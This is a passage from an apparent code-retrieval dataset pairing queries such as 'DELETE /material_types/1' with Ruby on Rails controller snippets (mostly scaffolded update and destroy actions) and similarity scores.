"def update\n respond_to do |format|\n if @setting_type.update(setting_type_params)\n format.html { redirect_to @setting_type, notice: 'Setting type was successfully updated.' }\n format.json { render :show, status: :ok, location: @setting_type }\n else\n format.html { render :edit }\n format.json { render json: @setting_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_type.update(product_type_params)\n format.html { redirect_to [:admin, @product_type], notice: t('messages.updated', model:ProductType.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @raw_material_item.update(raw_material_item_params)\n format.html { redirect_to @raw_material_item, notice: 'Raw material item was successfully updated.' }\n format.json { render :show, status: :ok, location: @raw_material_item }\n else\n format.html { render :edit }\n format.json { render json: @raw_material_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @rawmaterial = Rawmaterial.find(params[:id])\n\n respond_to do |format|\n if @rawmaterial.update_attributes(params[:rawmaterial])\n flash[:notice] = 'Rawmaterial was successfully updated.'\n format.html { redirect_to(@rawmaterial) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rawmaterial.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @addtype.update(addtype_params)\n format.html { redirect_to @addtype, notice: '变动方式修改成功!' }\n format.json { render :show, status: :ok, location: @addtype }\n else\n format.html { render :edit }\n format.json { render json: @addtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_type\n\t\t\trender json: User.update_type_by_id(params[:id], params[:type], params[:is])\n\t\tend",
"def update\n respond_to do |format|\n if @typegroup.update(typegroup_params)\n format.html { redirect_to @typegroup, notice: 'Typegroup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @typegroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @premise_type = PremiseType.find(params[:id])\n\n respond_to do |format|\n if @premise_type.update_attributes(params[:premise_type])\n format.html { redirect_to @premise_type, notice: 'Premise type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premise_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_material_data = MtMaterialData.find(params[:id])\n\n respond_to do |format|\n if @mt_material_data.update_attributes(params[:mt_material_data])\n format.html { redirect_to(@mt_material_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_material_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_media_type.update(admin_media_type_params)\n format.html { redirect_to @admin_media_type, notice: 'Media type was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_media_type }\n else\n format.html { render :edit }\n format.json { render json: @admin_media_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @type_reason.update(type_reason_params)\n format.html { redirect_to '/maestricos/prueba?titulo=Tipo+de+Motivo&tabla=TypeReason'}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @type_reason.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @awon_record_type.update(awon_record_type_params)\n format.html { redirect_to @awon_record_type, notice: 'Awon record type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @awon_record_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fender_type.update(fender_type_params)\n format.html { redirect_to fender_types_path, notice: 'Fender type was successfully updated.' }\n format.json { render :show, status: :ok, location: @fender_type }\n else\n format.html { render :edit }\n format.json { render json: @fender_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rehearsal_material.update(rehearsal_material_params)\n format.html { redirect_to @rehearsal_material, notice: 'Rehearsal material was successfully updated.' }\n format.json { render :show, status: :ok, location: @rehearsal_material }\n else\n format.html { render :edit }\n format.json { render json: @rehearsal_material.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n if @crate_type.update_attributes(params[:crate_type])\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @jewelry_type = JewelryType.find(params[:id])\n\n respond_to do |format|\n if @jewelry_type.update_attributes(params[:jewelry_type])\n format.html { redirect_to @jewelry_type, notice: 'Jewelry type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jewelry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @hardware_type = HardwareType.find(params[:id])\n\n respond_to do |format|\n if @hardware_type.update_attributes(params[:hardware_type])\n format.html { redirect_to @hardware_type, notice: 'Hardware type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hardware_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @novelty_type.update(novelty_type_params)\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully updated.' }\n format.json { render :show, status: :ok, location: @novelty_type }\n else\n format.html { render :edit }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thing_type.update(thing_type_params)\n format.html { redirect_to @thing_type, notice: 'Thing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @thing_type }\n else\n format.html { render :edit }\n format.json { render json: @thing_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @upgrade_type = UpgradeType.find(params[:id])\n\n respond_to do |format|\n if @upgrade_type.update_attributes(params.require(:upgrade_type).permit(:cost, :name, :added_miles))\n format.html { redirect_to upgrade_types_url,\n notice: 'UpgradeType was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @upgrade_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @studytype.update(studytype_params)\n format.html { redirect_to moderator_studytypes_path, notice: 'Studytype was successfully updated.' }\n format.json { render :show, status: :ok, location: @studytype }\n else\n format.html { render :edit }\n format.json { render json: @studytype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @model_type = ModelType.find(params[:id])\n\n respond_to do |format|\n if @model_type.update_attributes(params[:model_type])\n format.html { redirect_to(@model_type, :notice => 'Model type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @model_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @material_composition.update(material_composition_params)\n format.html { redirect_to @material_composition, notice: 'Material composition was successfully updated.' }\n format.json { render :show, status: :ok, location: @material_composition }\n else\n format.html { render :edit }\n format.json { render json: @material_composition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @low_type.update(low_type_params)\n render :show, status: :ok, location: @low_type\n else\n render json: @low_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to @entity_type, notice: 'Entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @metric_type = MetricType.find(params[:id])\n\n respond_to do |format|\n if @metric_type.update_attributes(params[:metric_type])\n format.html { redirect_to @metric_type, notice: 'Metric type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metric_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @damage_type.update(damage_type_params)\n format.html { redirect_to @damage_type, notice: 'Damage type was successfully updated.' }\n format.json { render :show, status: :ok, location: @damage_type }\n else\n format.html { render :edit }\n format.json { render json: @damage_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @environment_type = EnvironmentType.find(params[:id])\n\n respond_to do |format|\n if @environment_type.update_attributes(params[:environment_type])\n format.html { redirect_to @environment_type, notice: 'Environment type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @environment_type.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.75079256",
"0.6829885",
"0.6728052",
"0.6617153",
"0.6617153",
"0.6598197",
"0.65930283",
"0.6530585",
"0.6440991",
"0.64317113",
"0.6427574",
"0.6427574",
"0.6424332",
"0.64199704",
"0.64175487",
"0.6376824",
"0.63682044",
"0.63454646",
"0.6342051",
"0.63186955",
"0.6295135",
"0.628647",
"0.6283894",
"0.62738967",
"0.62702984",
"0.6268699",
"0.626828",
"0.6260456",
"0.62593466",
"0.62521976",
"0.624387",
"0.6232559",
"0.62309086",
"0.6219463",
"0.62145954",
"0.6213859",
"0.6211901",
"0.6209505",
"0.6198146",
"0.61909205",
"0.61884004",
"0.6174738",
"0.6170242",
"0.61626166",
"0.61612165",
"0.61606395",
"0.61560625",
"0.6138198",
"0.6137232",
"0.6132939",
"0.6130229",
"0.6127046",
"0.612127",
"0.61043406",
"0.61036617",
"0.6094158",
"0.6091979",
"0.60899913",
"0.60814154",
"0.60803586",
"0.60756534",
"0.6071603",
"0.6065611",
"0.60509676",
"0.60448194",
"0.6044206",
"0.6036319",
"0.60318017",
"0.6022295",
"0.6021129",
"0.6020805",
"0.6019079",
"0.6014277",
"0.60087866",
"0.59985477",
"0.59976614",
"0.59963447",
"0.5995543",
"0.59948355",
"0.5992093",
"0.5990628",
"0.59759575",
"0.5973668",
"0.5971861",
"0.5971803",
"0.5965679",
"0.5964836",
"0.595859",
"0.59533286",
"0.5951595",
"0.5951297",
"0.5945016",
"0.5943138",
"0.5941213",
"0.59391695",
"0.5933331",
"0.59319705",
"0.59299153",
"0.5928468",
"0.5921434"
] |
0.7799207
|
0
|
DELETE /material_types/1 DELETE /material_types/1.json
|
def destroy
@material_type.destroy
head :no_content
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @material_type.destroy\n respond_to do |format|\n format.html { redirect_to material_types_url, notice: 'Material type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mtype = Mtype.find(params[:id])\n @mtype.destroy\n\n respond_to do |format|\n format.html { redirect_to mtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @tipo_material.destroy\r\n respond_to do |format|\r\n format.html { redirect_to tipo_materials_url, notice: 'Materia prima excluída com sucesso.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @material = Material.find(params[:id])\n @material.destroy\n\n respond_to do |format|\n format.html { redirect_to materials_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @material = Material.find(params[:id])\n @material.destroy\n\n respond_to do |format|\n format.html { redirect_to materials_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n asset_type = AssetType.find(params[:id])\n asset_type.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material = Material.find(params[:id])\n @material.destroy\n\n respond_to do |format|\n format.html { redirect_to materials_url, :notice => \"Material was successfully delete.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @modtype.destroy\n respond_to do |format|\n format.html { redirect_to modtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reform_type = ReformType.find(params[:id])\n @reform_type.destroy\n\n respond_to do |format|\n format.html { redirect_to reform_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n Material.destroy_all(:id => @dashboard_material.id)\r\n @dashboard_material.destroy\r\n respond_to do |format|\r\n flash[:success] = \"Material removido com sucesso.\"\r\n format.html { redirect_to dashboard_materials_path }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @ref_med_diagnostic_test_type = Ref::MedDiagnosticTestType.find(params[:id])\n @ref_med_diagnostic_test_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_med_diagnostic_test_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @flat_type.destroy\n respond_to do |format|\n format.html { redirect_to flat_types_url, notice: 'Flat type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gl_type = GlType.find(params[:id])\n @gl_type.destroy\n\n respond_to do |format|\n format.html { redirect_to gl_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material = Material.find(params[:id])\n @material.destroy\n\n respond_to do |format|\n format.html { redirect_to(materials_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @material = Material.find(params[:id])\n @material.destroy\n\n respond_to do |format|\n format.html { redirect_to(materials_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @raw_material.destroy\n respond_to do |format|\n format.html { redirect_to raw_materials_url, notice: 'Raw material was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_material.destroy\n respond_to do |format|\n format.html { redirect_to raw_materials_url, notice: 'Raw material was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material.destroy\n respond_to do |format|\n format.html { redirect_to materials_url, notice: 'Material was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_mkb_type = Ref::MkbType.find(params[:id])\n @ref_mkb_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_mkb_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @rawmaterial = Rawmaterial.find(params[:id])\n @rawmaterial.destroy\n\n respond_to do |format|\n format.html { redirect_to(rawmaterials_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mall_type = MallType.find(params[:id])\n @mall_type.destroy\n\n respond_to do |format|\n format.html { redirect_to mall_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_type.destroy\n respond_to do |format|\n format.html { redirect_to item_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dishtype.destroy\n respond_to do |format|\n format.html { redirect_to dishtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @awon_record_type.destroy\n respond_to do |format|\n format.html { redirect_to awon_record_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manifestation_type = ManifestationType.find(params[:id])\n @manifestation_type.destroy\n\n respond_to do |format|\n format.html { redirect_to manifestation_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_material = RawMaterial.find(params[:id])\n @raw_material.destroy\n\n respond_to do |format|\n format.html { redirect_to(raw_materials_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to realty_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @s_material\n @s_material.destroy\n respond_to do |format|\n format.html { redirect_to s_materials_url, notice: t('Record has been deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @structure_type = StructureType.find(params[:id])\n @structure_type.destroy\n\n respond_to do |format|\n format.html { redirect_to structure_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premise_type = PremiseType.find(params[:id])\n @premise_type.destroy\n\n respond_to do |format|\n format.html { redirect_to premise_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @affected_type.destroy\n respond_to do |format|\n format.html { redirect_to affected_types_url, notice: 'Affected type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deleteMetadataType\n begin\n type = params[:metadatatypename].to_s.strip.downcase\n puts \"Type to be removed: \" + type\n\n if type == \"\"\n render :text => \"Type of metadata not given\", :status => 404\n return\n end\n\n # Search metadatatype\n metadatatype = MetadataType.find_by_name(type)\n\n # Check that type was found\n if metadatatype == nil\n render :test => \"Metadatatype not found\", :status => 404\n end\n\n # Delete all metadata of that type\n Metadata.destroy_all([\"metadata_type_id = ? \", metadatatype.id])\n\n # Delete metadata type\n metadatatype.destroy\n render :text => \"Metadatatype and metadata of that type deleted\", :status => 200\n return\n\n rescue => e\n puts \"Error in deleting metadatatype: #{e.to_s}\".background(:red)\n render :text => \"Conflict\", :status => 409\n return\n end\n end",
"def destroy\n @fieldtype = Fieldtype.find(params[:id])\n @fieldtype.destroy\n\n respond_to do |format|\n format.html { redirect_to fieldtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contact_medium_type.destroy\n respond_to do |format|\n format.html { redirect_to contact_medium_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mobile_type = MobileType.find(params[:id])\n @mobile_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_mobile_types_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @media_type = MediaType.find(params[:id])\n @media_type.destroy\n\n respond_to do |format|\n format.html { redirect_to media_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_type = ClientType.find(params[:id])\n @client_type.destroy\n\n respond_to do |format|\n format.html { redirect_to client_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tool_type.destroy\n respond_to do |format|\n format.html { redirect_to tool_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dash_type = DashType.find(params[:id])\n @dash_type.destroy\n\n respond_to do |format|\n format.html { redirect_to dash_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @drum_type.destroy\n respond_to do |format|\n format.html { redirect_to drum_types_url, notice: 'Drum type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reltype.destroy\n respond_to do |format|\n format.html { redirect_to reltypes_url, notice: 'Reltype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @data_set_type.destroy\n respond_to do |format|\n format.html { redirect_to data_set_types_url, notice: 'Data set type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_block_material.destroy\n respond_to do |format|\n format.html { redirect_to admin_block_materials_path, notice: I18n.t('deleted') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @modeltype.destroy\n respond_to do |format|\n format.html { redirect_to modeltypes_url, notice: 'Modeltype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_admin_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_admin_types_url, notice: 'Admin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @act_type = ActType.find(params[:id])\n @act_type.destroy\n\n respond_to do |format|\n format.html { redirect_to act_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @type = Type.find(params[:type])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to company_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_media_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_media_types_url, notice: 'Media type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volume_type = VolumeType.find(params[:id])\n @volume_type.destroy\n\n respond_to do |format|\n format.html { redirect_to volume_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material.destroy\n end",
"def destroy\n @jewelry_type = JewelryType.find(params[:id])\n @jewelry_type.destroy\n\n respond_to do |format|\n format.html { redirect_to jewelry_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @claim_type.destroy\n respond_to do |format|\n format.html { redirect_to claim_types_url, notice: 'Claim type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material.destroy\n respond_to do |format|\n format.html { redirect_to workshop_materials_url(@workshop), notice: 'Material fue borrado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @energy_data_type = EnergyDataType.find(params[:id])\n @energy_data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to energy_data_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe_type.destroy\n respond_to do |format|\n format.html { redirect_to recipe_types_url, notice: \"Recipe type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fueltype = Fueltype.find(params[:id])\n @fueltype.destroy\n\n respond_to do |format|\n format.html { redirect_to fueltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shape_type = ShapeType.find(params[:id])\n @shape_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.shape_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_shape_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @paper_type = PaperType.find(params[:id])\n @paper_type.destroy\n\n respond_to do |format|\n format.html { redirect_to paper_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @model_type.destroy\n respond_to do |format|\n format.html { redirect_to model_types_url, notice: 'Model type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crossbowtype.destroy\n respond_to do |format|\n format.html { redirect_to crossbowtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ftype = Ftype.find(params[:id])\n @ftype.destroy\n\n respond_to do |format|\n format.html { redirect_to ftypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @manifestation_relationship_type = ManifestationRelationshipType.find(params[:id])\n @manifestation_relationship_type.destroy\n\n respond_to do |format|\n format.html { redirect_to manifestation_relationship_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @addtype.destroy\n respond_to do |format|\n format.html { redirect_to addtypes_url, notice: '变动方式删除成功!.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hardware_type = HardwareType.find(params[:id])\n @hardware_type.destroy\n\n respond_to do |format|\n format.html { redirect_to hardware_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @itemtype.destroy\n respond_to do |format|\n format.html { redirect_to itemtypes_url, notice: 'Itemtype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to metric_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @upgrade_type = UpgradeType.find(params[:id])\n @upgrade_type.destroy\n\n respond_to do |format|\n format.html { redirect_to upgrade_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_type = SampleType.find(params[:id])\n @sample_type.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @member_type = MemberType.find(params[:id])\n @member_type.destroy\n\n respond_to do |format|\n format.html { redirect_to member_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arc_type.destroy\n respond_to do |format|\n format.html { redirect_to arc_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @heat_type = HeatType.find(params[:id])\n @heat_type.destroy\n\n respond_to do |format|\n format.html { redirect_to heat_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_material_item.destroy\n respond_to do |format|\n format.html { redirect_to raw_material_items_url, notice: 'Raw material item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crate_type = CrateType.find(params[:id])\n @crate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to crate_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(realty_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @identifier_type.destroy\n\n respond_to do |format|\n format.html { redirect_to identifier_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rehearsal_material.destroy\n respond_to do |format|\n format.html { redirect_to rehearsal_materials_url, notice: 'Rehearsal material was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @use_type.destroy\n respond_to do |format|\n format.html { redirect_to use_types_url, notice: 'Use type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typegroup.destroy\n respond_to do |format|\n format.html { redirect_to typegroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @membertype = Membertype.find(params[:id])\n @membertype.destroy\n\n respond_to do |format|\n format.html { redirect_to membertypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @entry_type = EntryType.find(params[:id])\n @entry_type.destroy\n\n respond_to do |format|\n format.html { redirect_to entry_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @damage_type.destroy\n respond_to do |format|\n format.html { redirect_to damage_types_url, notice: 'Damage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @oma_relation_type = OmaRelationType.find(params[:id])\n @oma_relation_type.destroy\n\n respond_to do |format|\n format.html { redirect_to oma_relation_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @novelty_type.destroy\n respond_to do |format|\n format.html { redirect_to novelty_types_url, notice: 'Novelty type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @all_field_type = AllFieldType.find(params[:id])\n @all_field_type.destroy\n\n respond_to do |format|\n format.html { redirect_to all_field_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inventory_item_type = InventoryItemType.find(params[:id])\n @inventory_item_type.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_item_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_diagnostic_test_type = Ref::DiagnosticTestType.find(params[:id])\n @ref_diagnostic_test_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_diagnostic_test_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @admin_hardware_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_hardware_types_url, notice: 'Hardware type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @brew_type.destroy\n respond_to do |format|\n format.html { redirect_to brew_types_url, notice: 'Brew type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @yarn_type.destroy\n respond_to do |format|\n format.html { redirect_to yarn_types_url, notice: 'Yarn type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material_item.destroy\n respond_to do |format|\n format.html { redirect_to material_items_url, notice: 'Material item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @model_type = ModelType.find(params[:id])\n @model_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(model_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @collection_type = CollectionType.find(params[:id])\n @collection_type.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course_asset_model_type = CourseAssetModelType.find(params[:id])\n @course_asset_model_type.destroy\n\n respond_to do |format|\n format.html { redirect_to course_asset_model_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ctype = Ctype.find(params[:id])\n @ctype.destroy\n\n respond_to do |format|\n format.html { redirect_to ctypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @environment_type = EnvironmentType.find(params[:id])\n @environment_type.destroy\n\n respond_to do |format|\n format.html { redirect_to environment_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @creature_type.destroy\n respond_to do |format|\n format.html { redirect_to creature_types_url, notice: 'Creature type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @material_didatico.destroy\n respond_to do |format|\n format.html { redirect_to material_didaticos_url, notice: 'Material didatico was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_type = OsType.find(params[:id])\n @os_type.destroy\n\n respond_to do |format|\n format.html { redirect_to os_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:project_id])\n @material_usage = @project.material_usages.find(params[:id])\n @material_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to project_material_usages_path(@project) }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7911478",
"0.76007897",
"0.7300382",
"0.72970563",
"0.72928643",
"0.7210436",
"0.7207729",
"0.71706384",
"0.71278006",
"0.70975083",
"0.70901054",
"0.7068017",
"0.706414",
"0.70464385",
"0.7038735",
"0.7038735",
"0.7022333",
"0.7022333",
"0.70094395",
"0.7003541",
"0.69981587",
"0.6981387",
"0.6981224",
"0.6975759",
"0.6973222",
"0.6970882",
"0.69692445",
"0.6968238",
"0.69531375",
"0.69453084",
"0.6939905",
"0.69091856",
"0.6891163",
"0.68403447",
"0.6839484",
"0.6835184",
"0.683306",
"0.6832221",
"0.6829599",
"0.6810033",
"0.6806341",
"0.6806151",
"0.6806081",
"0.6803268",
"0.6800943",
"0.67948204",
"0.67935413",
"0.6792968",
"0.6787371",
"0.6778171",
"0.67781687",
"0.6778071",
"0.6777874",
"0.6773188",
"0.67658937",
"0.6758694",
"0.6757905",
"0.6757381",
"0.6757339",
"0.6757136",
"0.67522347",
"0.6750977",
"0.67470175",
"0.6743682",
"0.67407274",
"0.6736453",
"0.6736382",
"0.6731918",
"0.6730124",
"0.67233366",
"0.67231494",
"0.67219716",
"0.6718606",
"0.67184114",
"0.67183983",
"0.67153436",
"0.67109424",
"0.670896",
"0.6702746",
"0.6698268",
"0.6694833",
"0.6694104",
"0.669309",
"0.6684305",
"0.66831625",
"0.6682707",
"0.6680931",
"0.6679519",
"0.6678298",
"0.6675524",
"0.66693735",
"0.66682893",
"0.66440594",
"0.66424024",
"0.6641876",
"0.6640641",
"0.6638356",
"0.6637405",
"0.6636076",
"0.66350996"
] |
0.7974557
|
0
|
Created by: Satish Zol Created on: 04/03/2012 Purpose: ++ This method is used to find all discussions of that group
|
def all_group_discussions(page)
per_page = 20
off = (page-1)*per_page
